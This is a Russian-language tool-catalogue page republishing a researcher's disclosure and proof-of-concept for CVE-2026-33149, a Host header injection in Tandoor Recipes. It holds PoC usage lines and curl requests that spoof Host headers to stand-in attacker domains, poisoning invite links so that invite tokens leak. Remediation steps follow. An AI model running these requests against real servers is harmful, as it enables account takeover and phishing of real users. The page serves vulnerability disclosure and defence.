Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33149-PoC — Эксплойт proof-of-concept для CVE-2026-33149 — инъекция заголовка Host в Tandoor Recipes, позволяющая осуществлять отравление пригласительных ссылок и отравление кэша. Включает модули для принятия хоста, пагинации, схемы и отравления приглашений. | Kitploit
Инструменты/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФишингВеб-безопасностьТестирование на Проникновение
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Эксплойт proof-of-concept для CVE-2026-33149 — инъекция заголовка Host в Tandoor Recipes, позволяющая осуществлять отравление пригласительных ссылок и отравление кэша. Включает модули для принятия хоста, пагинации, схемы и отравления приглашений.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33149 — Внедрение Host Header в Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Краткое описание

Tandoor Recipes по умолчанию устанавливает ALLOWED_HOSTS = '*' в settings.py, из-за чего Django принимает любое значение в HTTP-заголовке без проверки. Приложение использует для генерации абсолютных URL-адресов в нескольких контекстах, критичных для безопасности. Злоумышленник, способный отправлять запросы с подделанным заголовком , может перенаправить все генерируемые сервером URL-адреса на контролируемый злоумышленником домен.

Host
request.build_absolute_uri()
Host

Наиболее критичное воздействие — отравление ссылок приглашений: когда администратор создаёт приглашение пользователя, отправляемое сервером письмо содержит ссылку, указывающую на домен злоумышленника. Жертва переходит по ссылке из легитимно выглядящего письма, токен приглашения перехватывается, и злоумышленник использует его для захвата процесса предоставления учётной записи.

Детали уязвимости

ПолеЗначение
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Некорректная нейтрализация HTTP-заголовков для синтаксиса скриптов
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Затронутая версияTandoor Recipes ≤ 2.5.3
ПоставщикTandoorRecipes/recipes

Сопоставление с MITRE ATT&CK

ID техникиНазваниеАктуальность
T1557Злоумышленник посерединеМанипулирование генерируемыми сервером URL-адресами для перенаправления трафика
T1566.002Фишинг: ссылка в целевой фишинговой атакеОтравленное письмо с приглашением содержит ссылку, контролируемую злоумышленником

Анализ первопричины

1. Подстановочный ALLOWED_HOSTS

Файл: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

ALLOWED_HOSTS в Django — это мера безопасности, которая проверяет заголовок Host по белому списку. Подстановочный символ '*' полностью отключает эту проверку, позволяя использовать любое произвольное значение.

2. Небезопасная генерация URL-адресов в письмах с приглашениями

Файл: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() создаёт URL-адреса с использованием request.get_host(), который возвращает необработанное значение заголовка Host, когда ALLOWED_HOSTS его не ограничивает. UUID приглашения — секретный токен — встраивается в URL-адрес, который теперь указывает на злоумышленника.

3. Дополнительные затронутые поверхности

  • Пагинация API — классы пагинации DRF используют build_absolute_uri() для URL-адресов next/previous
  • Схема OpenAPI — генератор схем использует её для URL-адресов сервера
  • Отравление кэша — развёртывания с кэширующими прокси рискуют обслуживать отравленные URL-адреса для всех пользователей из одного запроса

Схема атаки

root@kitploit:~
┌──────────┐     ① Подделанный запрос      ┌─────────────────┐
│ Злоумыш- │ ──────────────────────────────→│  Сервер Tandoor │
│ ленник   │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             использует "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP-сервер   │
                                            └────────┬───────┘
                                                     │
                                       ③ Письмо с отравленной ссылкой:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Жертва      │
                                            │ (переходит по  │
                                            │    ссылке)     │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID отправлен злоумышленнику
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  Злоумышленник │
                                            │ использует UUID│
                                            │ на реальном    │
                                            │ сервере        │
                                            └────────────────┘

Доказательство концепции

Требования

  • Python 3.8+
  • Библиотека requests
root@kitploit:~
pip install requests

Использование

root@kitploit:~
# Запуск всех модулей проверки с базовой аутентификацией
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Запуск всех модулей с сессионными cookie
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Только отравление ссылки приглашения
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Модули

МодульОписание
host-acceptПроверяет, что цель принимает произвольные заголовки Host (ALLOWED_HOSTS = '*')
paginationПодтверждает, что URL-адреса пагинации API отражают внедрённый домен
schemaПодтверждает, что URL-адреса сервера в схеме OpenAPI отражают внедрённый домен
inviteСоздаёт отравленную ссылку приглашения — основной вектор атаки
allЗапускает все модули последовательно

Ручная проверка (curl)

1. Принятие заголовка Host

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Ожидается: 200 (уязвимо) | 400 (исправлено)

2. Отражение URL-адреса пагинации

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Ожидается: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Отражение URL-адреса схемы

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Ожидается: http://evil.com/...

4. Отравление ссылки приглашения

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# Жертва получает письмо: "Click: http://attacker.com/invite/<uuid>"

Воздействие

Область воздействияОписаниеСерьёзность
Перехват токена приглашенияЗлоумышленник перехватывает UUID приглашения через отравленную ссылку в письме, захватывая процесс предоставления учётной записиКритическая
Фишинг учётных данныхЖертва попадает на контролируемый злоумышленником домен, ожидая легитимную страницу регистрацииВысокая
Отравление кэшаВ развёртываниях с кэширующими прокси один отравленный ответ загрязняет кэш для всех пользователейВысокая
Дезинформация API-клиентовURL-адреса пагинации и схемы перенаправляют потребителей API на инфраструктуру злоумышленникаСредняя

Устранение

Немедленное исправление

Укажите ALLOWED_HOSTS с явным перечислением ваших допустимых имён хостов:

root@kitploit:~
# docker-compose.yml или .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Эшелонированная защита

  1. Проверка на обратном прокси — настройте Nginx/Apache на отклонение запросов с неожиданными заголовками Host до того, как они достигнут Django
  2. USE_X_FORWARDED_HOST = False — убедитесь, что Django не доверяет X-Forwarded-Host из ненадёжных источников (по умолчанию False)
  3. Усиление ссылок в SMTP — используйте явную конфигурацию SITE_URL для генерации ссылок в письмах вместо использования request.build_absolute_uri()

Ссылки

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Некорректная нейтрализация HTTP-заголовков
  • Документация Django по ALLOWED_HOSTS
  • MITRE ATT&CK T1557 — Злоумышленник посередине
  • MITRE ATT&CK T1566.002 — Фишинг: ссылка в целевой фишинговой атаке

Отказ от ответственности

Данное доказательство концепции предоставлено только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за неправомерное использование этого инструмента.


Автор

Filipe Gaudard — исследователь наступательной безопасности | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Скачать инструмент